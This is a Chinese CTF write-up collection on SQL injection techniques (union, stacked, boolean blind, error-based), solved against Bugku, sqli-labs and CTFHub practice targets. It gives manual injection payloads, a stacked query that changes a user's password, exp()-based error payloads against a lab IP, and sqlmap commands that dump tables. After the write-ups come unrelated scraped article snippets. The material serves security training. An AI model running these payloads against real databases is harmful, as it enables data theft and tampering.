SQL注入--题目

联合查询注入:

bugku-这是一个神奇的登录框

手工注入:

 点吧,输入0’发现还是:

输入0" 发现报错:

确定可以注入,判断字段有多少个 0"order by 1,2,3# 发现:

 

 

说明有两列。

输入 0" union select database(),2# ,得到库名:

 继续输入 0" union select table_name,2 from information_schema.tables where table_schema=’bugkusql1’ # (0" union select group_concat(table_name),2 from information_schema.tables where table_schema=database()# )得到表名:
继续输入 0" union select column_name,2 from information_schema.columns where table_name=‘flag1’ # 得到列名:

继续输入 0" union select flag1,2 from flag1# (爆字段里的内容,中的表明是不加单引号的)得到该列下的值:

 sqlmap:

查看一下源码:

 

是post提交,url明显提示是个sql注入,由于post提交,要sql和burp结合起来使用。

首先burp抓包,抓到包后选择存到txt文件中:(随便输入账号密码)

 

我保存到了D:\1.txt

然后打开sqlmap,输入指令:sqlmap.py -r "D:\1.txt" -p admin_name --dbs

解释一下 -r是读文件 后面是刚才保存的绝对路径,-p是参数,也就是注入点(选了admin_name是注入点) --dbs意思是想获取数据库名字

可以看到sqlmap获得了数据库的名字:

应该是这个bugkul1,再继续爆表,命令:sqlmap.py -r "D:\1.txt" -D bugkusql1 -p admin_name --tables

解释:-D是表示选择了后面的这个数据库 --tables是想获取表

可以看到爆出了表

应该在flag1这个表里,继续爆列名

命令:sqlmap.py -r "D:\1.txt" -D bugkusql1 -T flag1 -p admin_name --columns

解释类似上面 不过加了一个-T 指定表

可以发现爆出了列名

flag1这个列 最后查字段 命令:sqlmap.py -r "D:\1.txt" -D bugkusql1 -T flag1 -C flag1 -p admin_name --dump

解释:同上面 --dump是获取字段的命令

(在这过程中可能会让你选择Y或者N 我直接回车的)

可以看到爆出了flag

堆叠注入

Sqlilabs-less38

根据关卡提示,得知 38关 为堆叠注入,页面如下。

 如果堆叠注入的情况下,首先是考虑闭合前面的语句,再执行第二个语句;所以构建payload "?id=1';第二条SQL语句 --+" 或者 "?id=1;第二条SQL语句 --+"

从页面上直观的看当前显示的用户和密码为 “Dumb/Dumb”,姑且猜测当前用户在表中的两个字段 “username”、“password”;

现在尝试一下爆出数据库、表、列名等相关信息。  尝试得到库名 “security”

尝试获取 “security” 数据库下的表名 得到[emails,referers,uagents,users]

http://139.196.87.102:11207/Less-38/?id=1%27%20and%20exp(~(select%20*%20from(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)a));%20--+

得到了一个 “users” 表的信息,现在看一下 “users” 表的列名 [id,username,password]

http://139.196.87.102:11207/Less-38/?id=1%27%20and%20exp(~(select%20*%20from(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)a));%20--+
构造堆叠注入的payload ?id=1'; update users set password = 'Dumb' where username = 'Dumb'; --+

 这里看到 Dumb 用户的密码被改成了 Dumb001 ,说明构建的堆叠注入的 payload 利用成功

布尔盲注

ctfhub布尔注入

按照题目意思输入1看看

从这里可以知道

不需要打引号 

哦对了,我们先应该判断是否有注入点,利用真假语句来判断id的值是否可以改变sql语句的变化

 通过恒真语句and 1=1和恒假语句and 1=2得知id的值可以改变sql语句的走向,说明这里存在注入点,然后便上网查询一下布尔注入应该要用到哪些函数语句

1 and length(database())=4 

 可以知道数据库名是四个字符的,然后利用substr(x,1,1)分割函数来一个个试是什么字符,利用ascii的值来判断

 可以得知数据库第一个字符的ascii值是大于110的

 

 可以确定第一个字符的ascii值就是115也就是s,后面的就不用去猜了,肯定就是sqli了

 接下来我们利用count函数来判断sqli数据库里有几个表

1 and (select count(table_name) from information_schema.tables where table_schema='sqli' )<3

 可以知道少于3张表,我们就可以联想到news和flag了,方法随便用,可以用concat和floor这种方法来判断,但是都离不开ascii和count来判断 

 得知第一个表的第一个字符ascii值大于109

利用sqlmap来得知数据库有哪些

sqlmap.py -u 登录的地址 -dbs

虽然有点时间,但是还是比我们手动注入的快的 

然后利用sqlmap.py -u 输入地址 -D sqli --tables来获取数据库里面的表

发现两张表flag和news,我们可以直接去看字段以及数值了 

sqlmap.py -u 地址 -D sqli -T flag --columns --dump

 

时间盲注

(这题自己没摸出来,看的网上的wp)主要是脚本问题

CTFHUB SQL注入——时间盲注 附自己写的脚本_ctf 时间盲注_Wuuconix的博客-CSDN博客

求头注入--post,get

自己做的题wp:BUGKU CTF——WEB基础 {GET,POST}_get bugku csdn_lulu001128的博客-CSDN博客

sql注入写马

上传一句话木马

报错注入

Sqlilabs-less5

 先用万能密码试一下:

 

 发现报错,可以直接进行报错注入

 这里直接查询出数据库名,进行下一步操作:

 当我们再次用updatexml函数进行报错注入时发现提示The used SELECT statements have a different number of columns。
猜测是因为updatexml的最大长度是32位,所以换一个函数继续进行注入。

宽字节注入

【ctf】sql注入——宽字节注入_ctf 宽字节注入_甜不拉几的博客-CSDN博客

二次注入

【CTF】二次注入原理及实战_失控的菜鸡玩家的博客-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/9430.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Docker系列---【docker和docker容器设置开机启动】

docker和docker容器设置开机启动 1、设置docker开机启动 systemctl enable docker 2、设置容器自动重启 1)创建容器时设置 docker run -d --restartalways --name 设置容器名 使用的镜像 (上面命令 --name后面两个参数根据实际情况自行修改)# Docker 容器的重启策略如下&#…

【论文阅读22】Label prompt for multi-label text classification

论文相关 论文标题&#xff1a;Label prompt for multi-label text classification&#xff08;基于提示学习的多标签文本分类&#xff09; 发表时间&#xff1a;2023 领域&#xff1a;多标签文本分类 发表期刊&#xff1a;Applied Intelligence&#xff08;SCI二区&#xff0…

Linux 常用命令全拼

pwd&#xff1a;print work directoryps&#xff1a;process statusdf&#xff1a;disk freedu&#xff1a;disk usagecat&#xff1a;concatenate 连锁&#xff0c;连接insmod&#xff1a;install module 载入模块ln -s&#xff1a;link -soft 创建一个软链接&#xff0c;相当…

9 Linux实操篇-实用指令

9 Linux实操篇-实用指令 文章目录 9 Linux实操篇-实用指令9.1 指定和修改运行级别-init/systemctl9.2 找回root密码9.3 Linux的指令说明9.3 帮助类-man/help9.4 文件目录类-pwd/ls/cd/mkdir/...9.5 时间日期类-date/cal9.6 搜索查找类-find/locate/which/grep9.7 压缩和解压类-…

SpringBoot整合Elasticsearch

SpringBoot整合Elasticsearch SpringBoot整合Elasticsearch有以下几种方式&#xff1a; 使用官方的Elasticsearch Java客户端进行集成 通过添加Elasticsearch Java客户端的依赖&#xff0c;可以直接在Spring Boot应用中使用原生的Elasticsearch API进行操作。参考文档 使用Sp…

【Leetcode】50. Pow(x, n)

一、题目 1、题目描述 实现 pow(x, n) ,即计算 x 的整数 n 次幂函数(即, x n x^n xn )。 示例1: 输入:x 

数据库中的事务处理

MySQL的事务处理&#xff1a;只支持 lnnoDB 和BDB数据表类型 1.事务就是将一组SQL语句放在同一批次内去执行 2.如果一个SQL语句出错&#xff0c;则该批次内的所有SQL都将被取消执行 MySQL的事务实现方法一&#xff1a; select autocommit 查询当前事务提交模式 set a…

浅析交互中事实与价值信息的坍缩

在人机交互中&#xff0c;事实与价值的坍缩过程指的是在人与机器智能进行交互时&#xff0c;由于机器智能的回答和信息输出受到编程算法和数据训练的限制&#xff0c;导致人们难以准确区分机器智能提供的信息是基于客观事实还是主观价值观。 以下是人机交互中可能发生的事实与价…

机器学习深度学习——图像分类数据集

&#x1f468;‍&#x1f393;作者简介&#xff1a;一位即将上大四&#xff0c;正专攻机器学习的保研er &#x1f30c;上期文章&#xff1a;机器学习&&深度学习——softmax回归&#xff08;下&#xff09; &#x1f4da;订阅专栏&#xff1a;机器学习&&深度学习…

JavaScript与TypeScript的区别

JavaScript和TypeScript是两种不同的编程语言&#xff0c;在一些方面有一些区别。 1. 类型系统&#xff1a;JavaScript是一种动态类型语言&#xff0c;变量的类型是在运行时确定的&#xff0c;并且可以随时更改。而TypeScript引入了静态类型系统&#xff0c;可以在编译时检查代…

PHP在线相册--【强撸项目】

强撸项目系列总目录在000集 PHP要怎么学–【思维导图知识范围】 文章目录 本系列校训本项目使用技术 上效果图phpStudy 设置导数据库项目目录如图&#xff1a;代码部分&#xff1a;主页 配套资源作业&#xff1a; 本系列校训 用免费公开视频&#xff0c;卷飞培训班哈人&…

【Matlab】基于粒子群优化算法优化BP神经网络的数据回归预测(Excel可直接替换数据)

【Matlab】基于粒子群优化算法优化 BP 神经网络的数据回归预测&#xff08;Excel可直接替换数据&#xff09; 1.模型原理2.数学公式3.文件结构4.Excel数据5.分块代码5.1 fun.m5.2 main.m 6.完整代码6.1 fun.m6.2 main.m 7.运行结果 1.模型原理 基于粒子群优化算法&#xff08;…

国标GB28181协议视频平台EasyCVR修改录像计划等待时间较长的原因排查与解决

音视频流媒体视频平台EasyCVR拓展性强&#xff0c;视频能力丰富&#xff0c;具体可实现视频监控直播、视频轮播、视频录像、云存储、回放与检索、智能告警、服务器集群、语音对讲、云台控制、电子地图、H.265自动转码H.264、平台级联等。为了便于用户二次开发、调用与集成&…

MTK系统启动流程

MTK系统启动流程 boot rom -> preloader ->lk ->kernel ->Native -> Android 1、Boot rom:系统开机&#xff0c;最先执行的是固化在芯片内部的bootrom&#xff0c;其作用主要有 a.初始化ISRAM和EMMC b.当系统全擦后 &#xff0c;也会配置USB&#xff0c;用来仿…

Caddy 中实现自动 HTTPS

要在 Caddy 中实现自动 HTTPS&#xff0c;您可以按照以下步骤进行操作&#xff1a; 步骤 1&#xff1a;安装 Caddy 首先&#xff0c;您需要安装 Caddy 服务器。您可以从 Caddy 的官方网站&#xff08;https://caddyserver.com/&#xff09;下载适用于您的操作系统的最新版本。…

CSS 瀑布流效果效果

示例 <!DOCTYPE html> <html lang="cn"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>瀑布流效果</title><style>…

IMU和视觉融合学习笔记

利用纯视觉信息进行位姿估计&#xff0c;对运动物体、光照干扰、场景纹理缺失等情况&#xff0c;定位效果不够鲁棒。当下&#xff0c;视觉与IMU融合(VI-SLAM&#xff09;逐渐成为常见的多传感器融合方式。视觉信息与IMU 数据进行融合&#xff0c;根据融合方式同样可分为基于滤波…

Java 文件过滤器 | 按条件筛选文件

文章目录 一、概述1.1 何时会用到文件过滤器1.2 工作流程1.3 常用的接口和类1.4 文件过滤器的作用 二、按文件属性过滤2.1 按前缀或后缀过滤文件名2.2 按文件大小过滤 三、按文件内容过滤3.1 文本文件过滤器3.1.1 根据关键字过滤文件内容3.1.2 使用正则表达式过滤文件内容 3.2 …

Rust vs Go:常用语法对比(八)

题目来自 Golang vs. Rust: Which Programming Language To Choose in 2023?[1] 141. Iterate in sequence over two lists Iterate in sequence over the elements of the list items1 then items2. For each iteration print the element. 依次迭代两个列表 依次迭代列表项1…

聊天机器人如何增加电子商务销售额

聊天机器人和自动化对企业和客户来说都是福音。自动对话和聊天机器人&#xff08;以下统称为“自动化”&#xff09;通过自动回答问题或分配会话信息来帮助用户浏览品牌网站或电商商店。即时答案对客户来说非常有用&#xff0c;使用自动化也可以让原本与客户聊天的客服员工专注…